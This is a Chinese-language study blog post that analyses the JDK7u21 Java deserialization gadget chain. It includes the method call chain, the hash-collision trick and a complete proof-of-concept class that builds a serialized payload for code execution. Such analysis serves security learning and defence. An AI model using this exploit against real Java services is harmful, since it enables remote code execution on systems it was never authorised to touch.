本文最后更新于:2024年10月14日 晚上
JDK7u21原生反序列化链
在学习反序列化之初,一直是分析CC这种第三方库存在的链子,在Java原生库中也存在反序列化利用链。这条利用链就是JDK7u21,顾名思义,它适用于Java 7u21及以前的版本。从官网直接下是没有sun包源码的,这里提供一个源码下载地址。
在ysoserial
中也集成了,看看是怎么个构造法:
粗略看来和之前的构造模式有很大不同,但也有许多相似之处,依然使用了动态加载类的方式进行命令执行,使用了createProxy
,需要动态代理,在CC1-LazyMap中我们也使用了动态代理的思路,最后入口点在LinkedHashSet
。
上面都是一些无端联想,下面具体来看这条链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties()
|
看到了熟悉的身影AnnotationInvocationHandler
,用到了其equalsImpl
方法,找到看看:
存在一处方法执行
这里的memberMethod来自getDeclaredMethods
:
取得了type成员的所有方法,所以这里equalsImpl
就是执行了type成员的所有方法,如果这个type含有危险方法就能执行任意命令了。
比如type是Templates
类,则势必会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行。
这里equalsImpl
是一个私有方法,被AnnotationInvocationHandler.invoke
方法调用,那么这个invoke方法怎么调用,其实早在分析CC1-LazyMap时就已经用过了,只需要使用该类进行动态代理,那么就会触发对应的invoke方法执行。所以这里方法名为equals
并且只有一个Oject类型的参数,就会进入私有方法equalsImpl
。
1 2 3
| if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]);
|
现在的问题变成,找到一个方法,在反序列化时对proxy调用equals方法。
CC2、CC4、CB1都是使用了PriorityQueue
进行比较时触发的代码执行,具体来说是Comparator
这一类;CC8是使用了TreeMap
进行比较触发,也是Comparator
。
唯一涉及到了equals
的只有CC7中使用的Hashtable
类,判断是否相等时,然后去底层调用了AbstractMapDecorator.equals()
。
根据ysoserial
的源码来看,JDK7u21
使用的是LinkedHashSet
类,似乎有着异曲同工之妙。
具体分析,其本身没有实现readObject
方法,继承自HashSet
,这里使用了一个HashMap,将对象保存在HashMap的key处来做去重。去重的部分在最后map.put
处实现,这不就和CC7很像,CC7中Hashtable
调用了重新实现的reconstitutionPut
。我的CC7分析
下面是HashMap中的put
方法,这里的i就是哈希表的索引值,后面的循环体中的工作就是对同一哈希索引下的元素去重。
这里的key如果是被AnnotationInvocationHandler
代理后的Template
类,就可以达到命令执行。
这里解释一下为什么:在接口类Template
被动态代理之后,如果需要调用其方法(或许本身没有该方法),都通过代理它的类也就是AnnotationInvocationHandler
来执行,也就是进入到了之前说的invoke
方法,如果这个需要调用的方法是euqals
,那么就调用了equalsImpl
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
modCount++; addEntry(hash, key, value, i); return null; }
|
由于在key.equals
触发,所以要进入循环体,需要准备两个哈希值相等的key。这里的构造很巧妙,首先,proxy本身不提供hash方法,所以仍然使用其代理类的hash方法,也就是AnnotationInvocationHandler
中的hashCodeImpl
,对memberValues变量进行循环计算:
1 2 3 4 5 6 7 8 9 10
|
private int hashCodeImpl() { int result = 0; for (Map.Entry<String, Object> e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()); } return result; }
|
这里不妨只设置一个元素,可以发现,这段代码就变成:
1
| return (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
|
再者,如果e.getkey().hashCode()=0
,实际上也存在哈希值为0的字符串,ysoserial
提供的f5a5a608,那么就变成:
1
| return memberValueHashCode(e.getValue());
|
也就是说这种情况下,经过AnnotationInvocationHandler
代理的实例的哈希值实际上就是memberValues变量中的value
直接将需要比较的元素放进Map,就实现了哈希值相等了。
下开始构造测试代码:
有一些细节需要注意,触发equals需要第二次进入put,proxy需要在templates之后添加,才能在反序列化时进入代理类,再者TemplatesImpl
实例需要作为参数传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class JDK7u21 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(CalcTempl.class.getName()).toBytecode() }); setFieldValue(templates, "_name", "CalcTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
HashMap innerMap = new HashMap();
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Templates.class, innerMap);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
LinkedHashSet linkedHashSet = new LinkedHashSet<>(); linkedHashSet.add(templates); linkedHashSet.add(proxy);
innerMap.put("f5a5a608",templates);
SerUtils.serialize(linkedHashSet,"JDK7u21.bin"); SerUtils.unserialize("JDK7u21.bin"); } }
|
到这里并没有结束,上面提到了CC7,那么是否可以使用Hashtable作为入口呢,答案是不行的,因为Hashtable是无序的,我们需要在反序列化时一定要先处理Proxy
再处理TemplatesImpl
,这样才能触发后续流程。
当然,可以触发,具有偶然性: